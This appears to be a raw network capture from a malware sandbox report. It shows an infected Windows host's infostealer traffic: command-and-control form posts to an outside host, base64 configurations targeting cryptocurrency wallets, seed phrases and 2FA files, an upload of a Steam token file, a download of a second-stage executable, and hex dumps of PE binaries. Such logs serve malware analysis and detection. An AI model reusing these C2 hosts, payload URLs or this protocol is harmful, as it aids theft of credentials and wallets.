Oct 8, 2024 02:45:31.512697935 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:31 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 02:45:33.729399920 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: kasm.zubairgul.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:34.520919085 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:34.756468058 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="mode"3------EGCBAFCFIJJJECBGIIJK--
Oct 8, 2024 02:45:35.393249035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 8, 2024 02:45:35.396087885 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKE Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="mode"4------JDAFHCGIJECFHIDGDBKE--
Oct 8, 2024 02:45:36.029632092 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 8, 2024 02:45:36.045362949 CEST	646	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH Host: kasm.zubairgul.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_data"pY015w==------CBKJKJDBFIIDHJKEHJEH--
Oct 8, 2024 02:45:36.665477037 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:36.731987953 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: kasm.zubairgul.com Content-Length: 113593 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:38.142456055 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:38.145664930 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="mode"5------KEGIDHJKKJDGCBGCGIJK--
Oct 8, 2024 02:45:38.829936028 CEST	274	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 34 0d 0a 4d 54 49 34 4e 54 51 35 4d 6e 78 6f 64 48 52 77 4f 69 38 76 62 6e 4e 6b 62 53 35 6a 64 57 31 77 59 58 49 74 59 58 56 30 62 79 31 76 63 6d 6c 6a 5a 53 31 30 61 58 41 75 63 6d 38 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64MTI4NTQ5MnxodHRwOi8vbnNkbS5jdW1wYXItYXV0by1vcmljZS10aXAucm8vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDF8a2tra3w=0
Oct 8, 2024 02:45:49.428828001 CEST	684	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: kasm.zubairgul.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="mode"51------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="task_id"1285492------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="status"1------FBKKJEBFIDAEBFHIDAEB--
Oct 8, 2024 02:45:50.346045971 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:50.445729017 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="mode"6------JEBKECAFIDAFIECBKEHD--
Oct 8, 2024 02:45:51.094166040 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	51294	147.45.44.104	80	7300	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 02:45:38.850009918 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 8, 2024 02:45:39.520560026 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:39 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Tue, 08 Oct 2024 00:39:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "67047f44-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 7f 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELCg)bRo0@@(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 8, 2024 02:45:39.520625114 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
